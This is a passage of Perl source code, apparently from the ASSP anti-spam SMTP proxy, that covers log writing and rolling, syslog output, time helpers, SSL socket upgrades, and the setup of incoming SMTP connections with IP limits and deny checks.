	$subre =~ s/\s+/ /go;
	$subre=substr($subre,0,$RegExLength);
	$this->{messagereason}="Regex:$regextype '$subre'";
 	$this->{myheader}.="X-Assp-Re-$regextype: $subre\r\n" if $AddRegexHeader;
    my $m;
	$m = $check . ' ' if $check;
	$m .= $this->{messagereason};
	mlog( $fh, $m, 1, 1 ) if $regexLogging;
}

# win32 debug/trace output
sub w32dbg {
    if ($Win32Debug && $AvailWin32Debug) {
        my ($msg) = @_;
        OutputDebugString("(ASSP): $msg");
    }
}

sub dlog {
    my ($msg) = @_;

    return unless $DebugLog;
    print "$msg\n";
    print LOG "$msg\n";
    w32dbg("(DEBUG): $msg");
}

sub now {
# %Y: year 4 digits
# %y: year 2 digits
# %m: month (1-12)
# %d: day (1-31)
# %H: hour (0-23)
# %M: minute (0-59)
# %S: second (0-59)
# now("%Y-%m-%d %H:%M:%S") 		-> 2001-09-13 08:05:45
# now("%Y-%m-%d %H:%M:%S",1) 	-> 2001-09-12 08:05:45
# now("%Y-%m-%d %H:%M:%S",-1) 	-> 2001-09-14 08:05:45
 
  my ($format , $pastdays, ) = @_;

  my $NOW=timelocal(localtime) - $pastdays * 24 * 60 * 60;
  my $y=sprintf("%02d",(localtime($NOW))[5]-100);
  my $Y=sprintf("%04d",(localtime($NOW))[5]+1900);
  my $m=sprintf("%02d",(localtime($NOW))[4]+1);
  my $d=sprintf("%02d",(localtime($NOW))[3]);
  my $H=sprintf("%02d",(localtime($NOW))[2]);
  my $M=sprintf("%02d",(localtime($NOW))[1]);
  my $S=sprintf("%02d",(localtime($NOW))[0]);

  $format =~ s/%y/$y/;
  $format =~ s/%Y/$Y/;
  $format =~ s/%m/$m/;
  $format =~ s/%d/$d/;
  $format =~ s/%H/$H/;
  $format =~ s/%M/$M/;
  $format =~ s/%S/$S/;

  return $format;
   
}


sub printLOG {
my ( $action, $msg) = @_;
return if $silent && $AsASecondary;

return if !$logfile;
	if ($action eq "open" or ($action eq "print" && $LOGstatus!=1)) { 
	$LOGstatus=1;
	# open the logfile
  		if(open($LOG,'>>',"$base/$logfile")) {
    			if ($LogCharset) {
          			binmode $LOG, ":encoding($LogCharset)";

      			} else {
          			binmode $LOG if !$enableWORS;
          			binmode $LOG, ":crlf" if $enableWORS;
      			}
      			$LOG->autoflush;
  		}
  	}
  	return if $action eq "open";
  	
  	if ($action eq "print") { 
		print $LOG $msg;
		return;
	}
	
  	if ($action eq "close") { 	
	# close the logfile
		$LOGstatus=2;
  		close $LOG if $logfile;
  		  	if ($! && fileno($LOG)) {
                print "error: unable to close $base/$logfile - $!\n";
                print $LOG "error: unable to close $base/$logfile - $!$WORS";
            }

	}
	

}

sub mlog_i {
    my ( $fh, $comment, $noprepend, $noipinfo ) = @_;
    mlog( $fh, "$comment", $noprepend, $noipinfo );
    &mlogWrite() if $WorkerNumber == 0;
}


sub mlog {
    my ( $fh, $comment, $noprepend, $noipinfo ) = @_;
    
    return if $silent && $AsASecondary;
    return if $comment =~ /\[spam found\] --  --/;
    my $this = $fh ? $Con{$fh} : 0;
    my $mm;

    $this->{comment} = $comment;
    my $lccomment = lc $comment;
	my $noNotify = $comment =~ s/^\*x\*//;

	$this->{score} = 0;
	my $logfile = $logfile;
    $logfile =~ s/\\/\//g;
    my $archivelogfile;

    
    PrintConfigHistory($lccomment) if $lccomment =~ /^adminupdate/i;

    PrintConfigHistory($lccomment) if $lccomment =~ /^configerror/i;
    
    PrintUpdateHistory($lccomment) if $lccomment =~ /autoupdate/i;
    PrintAdminInfo($lccomment)     if $lccomment =~ /^email-interface/i;
    PrintAdminInfo($lccomment)     if $lccomment =~ /^AdminUpdate/i;
    
	



    if ( $noLogLineRe && $comment =~ $noLogLineReRE )
    { return 1;}
    if ($this &&  $noLogLineRe && $this->{prepend} =~ $noLogLineReRE )
    { return 1;}
    
    # cosmetic
    $comment =~ s/(.*)/$1;/ if $comment !~ /;$/;
    

    my $m = &timestring();
    my ($sec,$min,$hour,$mday,$mon,$year) = localtime(time);
    

    if ( $LogRollDays > 0 ) {

        # roll log every $LogRollDays days, at midnight
        my $t = int(
            (
                time +
                  Time::Local::timelocal( localtime() ) -
                  Time::Local::timelocal( gmtime() )
            ) / ( $LogRollDays * 24 * 3600 )
        );

        if (   $logfile
            && $mlogLastT
            && $t != $mlogLastT
            && $logfile ne "maillog.log"
            && $asspLog )
        {

            # roll the log
            my $backt = time - 7200;
            my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime($backt);

            $mon++;
            $year -= 100;
            $mm = sprintf( "%02d-%02d-%02d", $year, $mon, $mday )
              if !$LogNameMMDD;
            $mm = sprintf( "%02d-%02d", $mon, $mday ) if $LogNameMMDD;
            my ( $logdir, $logdirfile );
            ( $logdir, $logdirfile ) = ( $1, $2 )
              if $logfile =~ /^(.*)[\/\\](.*?)$/;
            if ( !$logdir ) {
                $archivelogfile = "$mm.$logfile";
    
            } else {
            	-d "$base/$logdir" or mkdir "$base/$logdir",0755;
                
                $archivelogfile = "$logdir/$mm.$logdirfile";
      
            }

            my $msg =
              "$m: Rolling log file -- archive saved as '$archivelogfile'$WORS";

            printLOG("print",$msg);
            
            print $msg unless $silent;
            w32dbg(
                "$m: Rolling log file -- archive saved as '$archivelogfile'");

            printLOG("close");


            sleep 1;
   
            rename( "$base/$logfile", "$base/$archivelogfile" );
            if ($! && ! -e "$base/$archivelogfile") {
                print "error: unable to rename file $base/$logfile to $base/$archivelogfile - $!\n";

                }
            
            # open the logfile
			 printLOG("open");
			 printLOG("print","$m new log file -- old log file renamed to '$archivelogfile'$WORS") ;

            w32dbg(
                "$m new log file -- old log file renamed to '$archivelogfile'");
          
        }
        $mlogLastT = $t;
    }
	my @m;
	my $header;
    if ($this) {
    	return if  $fh && $Con{$fh}  && &matchIP($Con{$fh}->{ip},'noLog');
    	$header = substr($this->{header},0,$MaxBytes) if ($fh && $MaxBytes && !$this->{noLog} && $noLogRe);
		if ($this->{noLog} ||
            ($noLogRe &&
             (( $this->{mailfrom} && $this->{mailfrom} =~ ( '(' . $noLogReRE . ')' ))
             || ( $header =~ ( '(' . $noLogReRE . ')' )))))
        {
            $this->{noLog} = 1 if ($fh);
            return 1;
        }
        $m .= " $this->{msgtime}" if $this->{msgtime};
        if ("$fh" =~ /SSL/io or "$this->{friend}" =~ /SSL/io) {
                $m .= ("$fh" =~ /SSL/io && $this->{oldfh})
                    ? ' [TLS-in]' : ("$fh" =~ /SSL/io && ! $this->{oldfh})
                    ? ' [SSL-in]' : '';
                $m .= ("$this->{friend}" =~ /SSL/io && $Con{$this->{friend}}->{oldfh})
                    ? ' [TLS-out]' : ("$this->{friend}" =~ /SSL/io && ! $Con{$this->{friend}}->{oldfh})
                    ? ' [SSL-out]' : '';
        }
        $m .= " $this->{prepend}"
          if $tagLogging && $this->{prepend} && !$noprepend;

        if ($expandedLogging || $noipinfo >= 2 || (! $this->{loggedIpFromTo} && !$noipinfo)) {
            $m .= " $this->{ip}" if ($this->{ip});
            $m .= " [OIP: $this->{cip}]" if ($this->{cip});
            my $mf = &batv_remove_tag(0,$this->{mailfrom},'');
            (my $from) = substr($this->{header},0,$MaxBytes) =~ /\nfrom:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio if !$mf;
            $m .= " FROM:<$from>" if $from;
            $m .= " <$mf>" if $mf;
            
            my $to;
            $to = $this->{orgrcpt} if $noipinfo == 3;
            ($to) = $this->{rcpt} =~ /(\S+)/o unless $to;
            my $mm = $m;
            if ($to) {
                $this->{loggedIpFromTo} = 1 if $noipinfo < 3;
                $m .= " to: $to";
            }
            if ($noipinfo < 3 && $comment =~ / \[(?:spam found|MessageOK)\] /oi) {
                my $c = $comment;
                $c =~ s/\r//go;
                $c =~ s/\n([^\n]+)/\n\t$1/go;
                $c .= "\n" if ($c !~ /\n$/o);
                my %seen;
                for (split(/\s+/o,$this->{rcpt})) {
                    next unless $_;
                    next if $seen{lc $_};
                    $seen{lc $_} = 1;
                    push @m, "$mm to: $_ $c";
                }
            }
        }
        $m .= " $comment$WORS";
    } else {
        $m .= " " . ucfirst($comment) . "$WORS";
    }
    
    PrintWhitelistAdd($m) if $m =~ /whitelist addition/i;
	PrintWhitelistAdd($m) if $m =~ /whitelist deletion/i;
	
	if ($canNotify &&
        ! $noNotify &&
        scalar keys %NotifyRE &&
        $m =~ /$NotifyReRE/ &&
        $m !~ /$NoNotifyReRE/)
    {
        my $rcpt;
        my $sub;
        while (my ($k,$v) = each %NotifyRE) {
            if ($m =~ /$k/i) {
                $rcpt = $v;
                $sub = $NotifySub{$k} . " from $myName" if exists $NotifySub{$k};
                last;
            }
        }
         $sub ||= "ASSP event notification from $myName";
        &sendNotification(
          $EmailFrom,
          $rcpt,
          $sub,
          "log event on host $myName:\r\n\r\n$m\r\n") if $rcpt;
        


    }


    $m =~ s/\r//go;
    $m =~ s/\n([^\n]+)/\n\t$1/go;
    $m .= "\n" if ($m !~ /\n$/o);
    
    print DEBUG $m if $debug && !$AsASecondary;

    tosyslog( 'info', substr( $m, 18 ) )
      if ( $CanUseSyslog || $CanUseNetSyslog ) && $sysLog;
    my $sm = $m;
    $sm =~ s/\r//g;
	$sm  =~ s/-\> $base\//-\> /;
    print $sm unless $silent;
    
    eval{
           $m = Encode::decode('Guess', $m);
       } if $m;

	printLOG("print",$m) if $logfile && $asspLog;
    w32dbg("$m");
}

sub tosyslog {
    my ( $priority, $msg ) = @_;
    return 0 unless ( $priority =~ /info|err|debug/ );
    $msg =~ s/^\s+//;

    if ($AvailNetSyslog) {
        my $s = new Net::Syslog(
            Facility   => $SysLogFac,
            Priority   => 'Debug',
            SyslogPort => $sysLogPort,
            SyslogHost => $sysLogIp
        );
        $s->send( $msg, Priority => $priority );
    } else {
        setlogsock('unix');
        openlog( 'assp', 'pid,cons', $SysLogFac );
        syslog( $priority, $msg );
        closelog();
    }

    return 1;
}

sub tzStr {

    # calculate the time difference in minutes
    my $minoffset =
      ( Time::Local::timelocal( localtime() ) -
          Time::Local::timelocal( gmtime() ) ) / 60;

   # translate it to "hour-format", so that 90 will be 130, and -90 will be -130
    my $sign = $minoffset < 0 ? -1 : +1;
    $minoffset = abs($minoffset) + 0.5;
    my $tzoffset = 0;
    $tzoffset = $sign * ( int( $minoffset / 60 ) * 100 + ( $minoffset % 60 ) )
      if $minoffset;

    # apply final formatting, including +/- sign and 4 digits
    return sprintf( "%+05d", $tzoffset );
}

sub getTimeDiffAsString {

    my ( $tdiff, $seconds ) = @_;

    my $days  = int( $tdiff / 86400 );
    my $hours = int( ( $tdiff - ( $days * 86400 ) ) / 3600 );
    my $mins  = int( ( $tdiff - ( $days * 86400 ) - ( $hours * 3600 ) ) / 60 );
    my $secs =
      int( $tdiff - ( $days * 86400 ) - ( $hours * 3600 ) - ( $mins * 60 ) );

    my $ret;
    $ret = $days . " day" . ( $days == 1 ? " " : "s " );
    $ret .= $hours . " hour" . ( $hours == 1 ? " " : "s " );
    $ret .= $mins . " min" .   ( $mins == 1  ? " " : "s " );
    $ret .= $secs . " sec" .   ( $secs == 1  ? " " : "s " ) if $seconds;

    return $ret;
}

sub getTimeDiff {
    my ( $tdiff, $seconds ) = @_;
    my $m = getTimeDiffAsString( $tdiff, $seconds );
    if ( $m =~ s/^0 days // ) {
        if ( $m =~ s/^0 hours // ) {
        }
    }
    return $m;
}

#####################################################################################
#                Socket handlers

sub setSSLfailed {
    my $ip = shift;
    if (exists $SSLfailed{$ip}) {   # ban if it failes before
        $SSLfailed{$ip} = time;
    } elsif (matchIP($ip,'acceptAllMail',0,1) or $ip =~ /$IPprivate/o) {  # give privats one more chance

    } else {
        $SSLfailed{$ip} = time;    # ban external IP if it failes before
    }
    return;
}
sub switchSSLClient {
    my $fh =shift;
    my $sslfh;
    my $try = 4;
    eval{$fh->blocking(1);};
    $sslfh = IO::Socket::SSL->start_SSL($fh,{
#             SSL_version        => "SSLv3 SSLv2 TLSv1" ,
             SSL_startHandshake => 1,
             SSL_server         => 1,
             SSL_use_cert       => 1,
             SSL_verify_mode    => 0x00 ,
             SSL_cert_file      => $SSLCertFile,
             SSL_key_file       => $SSLKeyFile,
             Timeout            => $SSLtimeout,
             getSSLParms()
             });
    while ($try-- && "$sslfh" !~ /SSL/io && ($IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_READ') ? 1 : $IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_WRITE') ) && $SSLRetryOnError)
    {

         Time::HiRes::sleep(0.5);
         mlog($fh,"info: retry ($try) SSL negotiation - peer socket was not ready");
         
         $sslfh = IO::Socket::SSL->start_SSL($fh,{
#             SSL_version        => "SSLv3 SSLv2 TLSv1" ,
             SSL_startHandshake => 1,
             SSL_server         => 1,
             SSL_use_cert       => 1,
             SSL_verify_mode    => 0x00 ,
             SSL_cert_file      => $SSLCertFile,
             SSL_key_file       => $SSLKeyFile,
             Timeout            => $SSLtimeout,
             getSSLParms()
             });
    }
    if ("$sslfh" =~ /SSL/io) {
        eval{$sslfh->blocking(0);};
    } else {
        eval{$fh->blocking(0);};
    }
    return $sslfh,$fh;
}
sub switchSSLServer {
    my $fh =shift;
    my $sslfh;
    my $try = 4;
    eval{$fh->blocking(1);};
    $sslfh = IO::Socket::SSL->start_SSL($fh,{
             SSL_verify_mode    => 0x00 ,
             SSL_startHandshake => 1,
#             SSL_version        => "SSLv3 SSLv2 TLSv1" ,
             Timeout            => $SSLtimeout
             });
    while ($try-- && "$sslfh" !~ /SSL/io && ($IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_READ') ? 1 : $IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_WRITE') ) && $SSLRetryOnError)
    {

         Time::HiRes::sleep(0.5);
         mlog($fh,"info: retry ($try) SSL negotiation - peer socket was not ready");

         $sslfh = IO::Socket::SSL->start_SSL($fh,{
             SSL_verify_mode    => 0x00 ,
             SSL_startHandshake => 1,
#             SSL_version        => "SSLv3 SSLv2 TLSv1" ,
             Timeout            => $SSLtimeout
             });
    }
    if ("$sslfh" =~ /SSL/io) {
        eval{$sslfh->blocking(0);};
    } else {
        eval{$fh->blocking(0);};
    }
    return $sslfh,$fh;
}
sub switchSSLSocket {
    my $fh =shift;
    my $sslfh;
    my $try = 4;
    eval{$fh->blocking(1);};
    $sslfh = IO::Socket::SSL->start_SSL($fh,{
             SSL_verify_mode    => 0x00 ,
             SSL_startHandshake => 1,
#             SSL_version        => "SSLv3 SSLv2 TLSv1" ,
             Timeout            => $SSLtimeout
             });
    while ($try-- && "$sslfh" !~ /SSL/io && ($IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_READ') ? 1 : $IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_WRITE') ) && $SSLRetryOnError)
    {

         Time::HiRes::sleep(0.5);
         mlog($fh,"info: retry ($try) SSL negotiation - peer socket was not ready");

         $sslfh = IO::Socket::SSL->start_SSL($fh,{
             SSL_verify_mode    => 0x00 ,
             SSL_startHandshake => 1,
#             SSL_version        => "SSLv3 SSLv2 TLSv1" ,
             Timeout            => $SSLtimeout
             });
    }
    if ("$sslfh" =~ /SSL/io) {
        eval{$sslfh->blocking(0);};
    } else {
        eval{$fh->blocking(0);};
    }
    return $sslfh,$fh;
}

sub matchFH {
    my ($fh, @fhlist) = @_;
    return 0 unless @fhlist;
    my $sinfo = $fh->sockhost() . ':' . $fh->sockport();

    while (@fhlist) {
        my $lfh = shift @fhlist;
        if ($lfh =~ /^(?:127\.0\.0\.[1-9]|0\.0\.0\.0|::1?)(:\d+)$/o) {
            my $p = $1;
            return 1 if ($sinfo =~ /$p$/);
        }
        return 1 if ($sinfo eq $lfh);
    }
    return 0;
}

sub NewSMTPConnection {
    my $fh   = shift;
    my $this = $Con{$fh};
    my $isSSL;
    my ( $client, $server, $destination, $relayok, $relayused);
    my $listenport;
    $destination         = $smtpDestination;
    my $destinationport;
    $destinationport = "smtpDestination";
    if ( matchFH($fh, @lsnRelayI) ) {

        # a relay connection -- destination is the relayhost
        $relayok = 1;
        $relayused = 1;
        $this->{passingreason} = "relayPort" ;
        d('NewSMTPConnection - relayPort');
        $listenport = "relayPort";
        $destination = $relayHost if $relayHost;
        $destinationport = "relayHost" if $relayHost;
    } elsif ( matchFH($fh, @lsn2I)  ) {
        # connection on the Second Listen port

        d('NewSMTPConnection - listenPort2');
        $listenport = "listenPort2";
        $relayok=0; 
        $destination = $smtpAuthServer if $smtpAuthServer;
        $destinationport = "smtpAuthServer" if $smtpAuthServer;

     } elsif ( matchFH($fh, @lsnSSLI)  ) {

        # connection on the the secure SSL port 
        d('NewSMTPConnection - listenPortSSL');
        $listenport = "listenPortSSL";
        $relayok=0;
        $isSSL = 1;
        $destination = $smtpDestinationSSL if $smtpDestinationSSL;
        $destinationport = "smtpDestinationSSL" if $smtpDestinationSSL;
    } else {

        d('NewSMTPConnection - listenPort');
        $listenport = "listenPort";

        $relayok=0;



    }

	

    
    if ( !( $client = $fh->accept ) ) {
        	d("accept failed: $fh");

        	return;
    }
	
	
	my $fnoC 		= fileno($client);
	my $ip        	= $client->peerhost();	
    my $port      	= $client->peerport();    
    my $localip   	= $client->sockhost();
    my $localport 	= $client->sockport();
 


    my $ret;

	$ip 			= "127.0.0.1" if $ip  =~ /::1/ ;
	$localip 		= "127.0.0.1" if $localip  =~ /::1/ ;
	$this->{port} 	= $port;
    
	# $Primary MX  up ?
    if ($PrimaryMXup && $localport==25) {

        $client->write(
"421 <$myName> Service temporary not available, closing transmission channel\r\n"
        );
        $client->close();

        return;
    }
    # shutting down ?
    
    $relayok = $this->{relayok} if $this->{relayok};
    


    if ($shuttingDown) {
        mlog( 0,
"connection from $ip:$port rejected -- shutdown/restart process is in progress"
        );

        $client->write(
"421 <$myName> Service temporary not available, closing transmission channel\r\n"
        );
        $client->close();
        d('NewSMTPConnection - shutdown detected');
        return;
    }
    
    $Stats{smtpConnSSL}++ if $isSSL;
    $Con{$client}->{timestart}= Time::HiRes::time();
    
    my $mDoDenySMTPstrict = $DoDenySMTPstrict;

	my $bip = &ipNetwork( $ip, $PenaltyUseNetblocks);
	
	$this->{acceptall} = 1 if matchIP( $ip, 'acceptAllMail',   0, 1 );
	$this->{nodelay} = 1 if  matchIP($ip,'noDelay',0,1);
	$this->{nopb} = 1 if matchIP( $ip, 'noPB', 0, 1 );
    $this->{ispip} = 1 if matchIP( $ip, 'ispip', 0, 1 );
    $this->{noblockingips} = 1 if matchIP( $ip, 'noBlockingIPs', 0, 1 );
    $this->{noprocessing} = 1 if matchIP( $ip, 'noProcessingIPs', 0, 1 );
    $this->{whitelisted} = matchIP( $ip, 'whiteListedIPs', 0, 1 );
    $this->{noprocessing} = 1 if findSMTPfailed($ip);
    $this->{noextremepb} = 1 if matchIP( $ip, 'noExtremePB', 0, 1  );

    $mDoDenySMTPstrict = 2 if $mDoDenySMTPstrict && $allTestMode;
    if (!$relayok && $mDoDenySMTPstrict == 1
    	&&  !$this->{acceptall} 
    	&& 	!$this->{ispip}
    	&& 	!$this->{nopb}
    	&&  !$this->{noblockingips}
    	&&  !$this->{noextremepb}
    	&& 	!matchIP( $ip, 'noProcessingIPs', 0, 1 )
    	&& 	!matchIP( $ip, 'whiteListedIPs', 0, 1 )
        &&  $ip !~ /$IPprivate/ &&
        	(matchIP( $bip, 'denySMTPConnectionsFromAlways', $fh )
        	or
       		matchIP( $ip, 'denySMTPConnectionsFromAlways', $fh ))

         )
    {


        mlog( $client, "[DenyStrict] $ip strictly denied by denySMTPConnectionsFromAlways" )
          if $denySMTPLog >= 1 || $ConnectionLog >= 2;
        $Stats{denyConnectionA}++;

        $Con{$client}->{type} = 'C';
        &NoLoopSyswrite($client,"$DenyError\r\n");
        $Con{$client}->{error} = '5';
        done($client);
        return;
    }
    if (!$relayok && $mDoDenySMTPstrict == 2
        &&  !$this->{acceptall} 
    	&& 	!$this->{ispip}
    	&& 	!$this->{nopb}
    	&&  !$this->{noblockingips}
    	&&  !$this->{noextremepb}
    	&& 	!matchIP( $ip, 'noProcessingIPs', 0, 1 )
    	&& 	!matchIP( $ip, 'whiteListedIPs', 0, 1 )
        &&  $ip !~ /$IPprivate/ &&
        	(matchIP( $bip, 'denySMTPConnectionsFromAlways', $fh )
        	or
       		matchIP( $ip, 'denySMTPConnectionsFromAlways', $fh ))

		)
    {

        mlog( $client,
            "[DenyStrict][monitoring] $ip strictly denied by denySMTPConnectionsFromAlways"
        ) ;
    }
    

     
	# ip connection limiting  parallel session
    $maxSMTPipSessions = 999 if ( !$maxSMTPipSessions );
    if (   $maxSMTPipSessions
    	&& !$relayok 
        && !$this->{nopb}
        && !$this->{noblockingips}
        && !$this->{ispip} 
        && !$this->{whitelisted}
        && !$this->{noprocessing}
        && !matchIP( $ip, 'noMaxSMTPSessions',          0, 1 )
        && !$this->{acceptall} )

        
    {
    
        if (++$SMTPSessionIP{$ip} > $maxSMTPipSessions) {
            $SMTPSessionIP{$ip}--;
            d("limiting ip: $client");
            delete $SMTPSession{$ip} if ($SMTPSession{$ip} == 0);

            mlog( 0, "limiting $ip connections to $maxSMTPipSessions (maxSMTPipSessions)")  if $ConnectionLog >= 2 || $SessionLog;

            $Stats{smtpConnLimitIP}++;

            $Con{$client}->{type} = 'C';
            $Con{$client}->{error} = '5';
            done($client);
            return;

        } else {
            $SMTPSession{$client} = $client;
        }
    }
	# check relayPort usage
    if ($relayused && $allowRelayCon && ! matchIP($ip,'allowRelayCon',0,1)) {
        $Con{$client}->{type} = 'C';
        &NoLoopSyswrite($client,"554 <$myName> Relay Service denied for IP $ip, closing transmission channel\r\n");
        done($client);
        return;
    }
	

	$doIPcheck = 
			! $relayok &&
            ! matchIP($ip,'noProcessingIPs',0,1) &&
            ! matchIP($ip,'whiteListedIPs',0,1) &&
			! matchIP($ip,'noDelay',0,1) &&
            ! matchIP($ip,'ispip',0,1) &&
            ! matchIP($ip,'acceptAllMail',0,1) &&
            ! matchIP($ip,'noBlockingIPs',0,1);

    if (   $DelayIP
        && $DelayIPTime
  		&& $doIPcheck
    	&& !$allTestMode
    	&& (my $pbval = [split(/\s+/o,$PBBlack{$bip})]->[3]) > $DelayIP
    	&& ($DelayIPPB{$bip} + $DelayIPTime > time or ! $DelayIPPB{$bip})
        && $ip !~ /$IPprivate/o
        && !exists $PBWhite{$bip}
        && !matchIP( $ip, 'noPB', 0, 1 ) )
    {
        $DelayIPPB{$bip} = time unless $DelayIPPB{$bip};
        $Stats{delayConnection}++;
        $Con{$client}->{type} = 'C';
        &NoLoopSyswrite($client,"451 4.7.1 Please try again later\r\n");
        done($client);
        mlog(0,"delayed ip $ip, because PBBlack($pbval) is higher than DelayIP($DelayIP)- last penalty reason was: " . [split(' ',$PBBlack{$bip})]->[5]) if $ConnectionLog >= 2 || $SessionLog;
        return;
    } elsif (   $DelayIP
             && $DelayIPTime
       		 && $doIPcheck
    	     && !$allTestMode
             && $DelayIPPB{$bip}
             && $DelayIPPB{$bip} + $DelayIPTime <= time)
    {
        delete $DelayIPPB{$bip};
    }

	
    
    if ($MaxAUTHErrors 
    	&& !$relayok
    	&& !$this->{nopb}
        && !$this->{noblockingips}
        && !$this->{ispip}
        && !$this->{noprocessing}
        && !$this->{whitelisted}
		&& !$this->{acceptall} 
        && $AUTHErrors{$bip} > $MaxAUTHErrors
       )
    {
        d("NewSMTPConnection - AUTHError ip: $client");
        mlog(0,"blocking $ip - too much AUTH errors ($AUTHErrors{$bip})") if $ConnectionLog >= 2 || $SessionLog;

        $Stats{AUTHErrors}++;
        $Con{$client}->{type} = 'C';
        &NoLoopSyswrite($client,"554 <$myName> Service denied for IP $ip (harvester), closing transmission channel\r\n");
        done($client);
        return;
    }
    
    my $intentForIP;
    $AVa = 0;
    foreach my $destinationA ( split( /\|/o, $destination ) ) {
        if ( $destinationA =~ /^(_*INBOUND_*:)?(\d+)$/ ) {
            $localip = '127.0.0.1' if !$localip or $localip eq '0.0.0.0';
			$intentForIP = "X-Assp-Intended-For-IP: $localip\r\n";
            if ( $crtable{$localip} ) {
                $destinationA = $crtable{$localip};
                
                $destinationA .=  ":$2" if $destinationA !~ /:/;
            } else {
                $destinationA = $localip . ':' . $2;
                
            }
        }
        
		$destinationA=~ s/\[::1\]/127\.0\.0\.1/ ;
		$destinationA=~ s/localhost/127\.0\.0\.1/i ;
		
        
	    if ($AVa<1) {
            $server = $CanUseIOSocketINET6
                      ? IO::Socket::INET6->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2,&getDestSockDom($destinationA))
                      : IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2);
            if($server) {
                $AVa=1;
                $destination=$destinationA;
            }
            else {
                mlog(0,"*** $destinationA didn't work, trying others...") ;
                $intentForIP = '';
            }
        }
    }
    if(! $server) {
        mlog(0,"couldn't create server socket to $destination -- aborting connection") ;
        if (exists $SMTPSession{$client}) {$SMTPSessionIP{Total}++;}
        if (exists $SMTPSession{$client}) {$smtpConcurrentSessions++;}
        $Con{$client}->{type} = 'C';
        &NoLoopSyswrite($client,"421 <$myName> service temporarily unavailable, closing transmission\r\n");
        done($client);
        return;
    }
    
	my $fnoS = fileno($server);
    addfh( $client, \&getline, $server );
    if ($sendNoopInfo) {
        addfh( $server, \&skipok, $client );
    } else {
        addfh( $server, \&reply, $client );
    }
    ($ip) = $ip =~ /(\d+\.\d+\.\d+\.\d+)/ if !$CanUseIOSocketINET6;
    ($localip) = $localip =~ /(\d+\.\d+\.\d+\.\d+)/ if !$CanUseIOSocketINET6;
    $Con{$client}->{client}    		= $client;
    $Con{$client}->{self}     		= $client;
    $Con{$client}->{server}    		= $server;
    $Con{$client}->{ip}        		= $ip;
    $Con{$client}->{port}      		= $port;
    $Con{$client}->{myheaderCon} 	.= "X-Assp-Client-SSL: yes\r\n" if $isSSL;
    $Con{$client}->{localip}   		= $localip;
    $Con{$client}->{localport} 		= $localport;
    $Con{$client}->{relayok}  		= $relayok;

    $Con{$client}->{myheaderCon} 	.= $intentForIP if $intentForIP;
    $this->{localport}		   		= $localport;
 	$Con{$client}->{mailInSession} 	= -1;
    $Con{$client}->{type}     		= 'C';
    $Con{$client}->{fno}      		= $fnoC;
    $Con{$server}->{type}     		= 'S';
    $Con{$server}->{fno}      		= $fnoS;
    $Con{$server}->{self}     		= $server;
    d("Connected: $client -- $server");
    

    if ( matchFH($fh, @lsnRelayI) ) {
        $Con{$client}->{relayok} = 1;
        d("$client relaying through relayPort ok: $ip");
        $Con{$client}->{passingreason} = "relayPort" ;
    } 
        
    if ( ok2Relay( $fh, $ip ) ) {
        $Con{$client}->{relayok} = 1;
        d("$client relaying from acceptAllMail ok: $ip");
        $Con{$client}->{passingreason} = "$ip in acceptAllMail" if !$Con{$client}->{passingreason};
        $Con{$client}->{passingreason} .= "/$ip in acceptAllMail" if $Con{$client}->{passingreason} eq "relayPort";
    }
    
    my $time = $UseLocalTime ? localtime() : gmtime();
    my $tz   = $UseLocalTime ? tzStr()     : '+0000';
    $time =~ s/... (...) +(\d+) (........) (....)/$2 $1 $4 $3/;
    my $IPver = "4";
    
    if ($CanUseIOSocketINET6) {
        $IPver = ($client->sockdomain == &AF_INET6) ? "6" : "4";
    } 

    $Con{$client}->{rcvd}="Received: from =host ([$ip] helo=) by $myName with *SMTP* (ASSP 1.9); $time $tz\r\n";
	
    d("* connect ip=$Con{$client}->{ip} relay=<$Con{$client}->{relayok}> *");
    
       my $text = $destination;
    $text = $server->sockhost() . ':' . $server->sockport() . " > $text" if $ConnectionLog >= 2;
    mlog( 0, "Connected: $ip:$port -> $localip:$localport ($listenport) -> $text" )
      unless ( !$ConnectionLog || matchIP( $ip, 'noLog', 0, 1 ) );
    $Con{$server}->{noop} =
      "NOOP Connection from: $ip, $time $tz relayed by $myName\r\n"
      if $sendNoopInfo;
	

            
    # overall session limiting

    $maxSMTPSessions = 999 if ( !$maxSMTPSessions );
    if ($maxSMTPSessions) {
        $SMTPSession{Total}++;
        $SMTPSession{$client} = $fh;
        if ( $SMTPSession{Total} >= $maxSMTPSessions 
        	&& $doIPcheck 

        	&& !matchIP( $ip, 'noMaxSMTPSessions',          0, 1 )
       	
        	&& $ip !~ /$IPprivate/
        	) {
            d("limiting sessions: $fh");
 
            foreach my $lfh (@lsn)    		{ $readable->remove($lfh); }
            foreach my $lfh (@lsn2)   		{ $readable->remove($lfh); }
            foreach my $lfh (@lsnSSL) 		{ $readable->remove($lfh); }
            foreach my $lfh (@lsnRelay)  	{ $readable->remove($lfh); }
            if ($SessionLog) {
                mlog( 0, "connected: $ip:$port" )
                  if !$ConnectionLog
                      || matchIP( $ip, 'noLog', 0, 1 )
                ;    # log if not logged earlier
                mlog( 0, "limiting total connections" );
            }
            $Stats{smtpConnLimit}++;
        }
    }

    # increment Stats if connection not limited
    if ( !$maxSMTPSessions || $SMTPSession{Total} < $maxSMTPSessions ) {
        if ( matchIP( $ip, 'noLog', 0, 1 ) ) {
            $Stats{smtpConnNotLogged}++;
        } else {
            $Stats{smtpConn}++;
        }
    }
    $smtpConcurrentSessions++;
    $Stats{smtpMaxConcurrentSessions} = $smtpConcurrentSessions
      if $smtpConcurrentSessions > $Stats{smtpMaxConcurrentSessions};


  
}
sub OptionCheck {
# check if options files have been updated and need to be re-read
		my $checktime = 30; $checktime = 15 if $AsASecondary;
	    if ( time - $lastOptionCheck > $checktime ) {

        	# check for updates each 30 seconds
        	foreach my $f (@PossibleOptionFiles) {
            $f->[2]
              ->( $f->[0], $Config{ $f->[0] }, $Config{ $f->[0] }, '', $f->[1] )
              if $Config{ $f->[0] } =~ /^ *file: *(.+)/i
                  && fileUpdated( $1, $f->[0] );
        	}

        $lastOptionCheck = time;
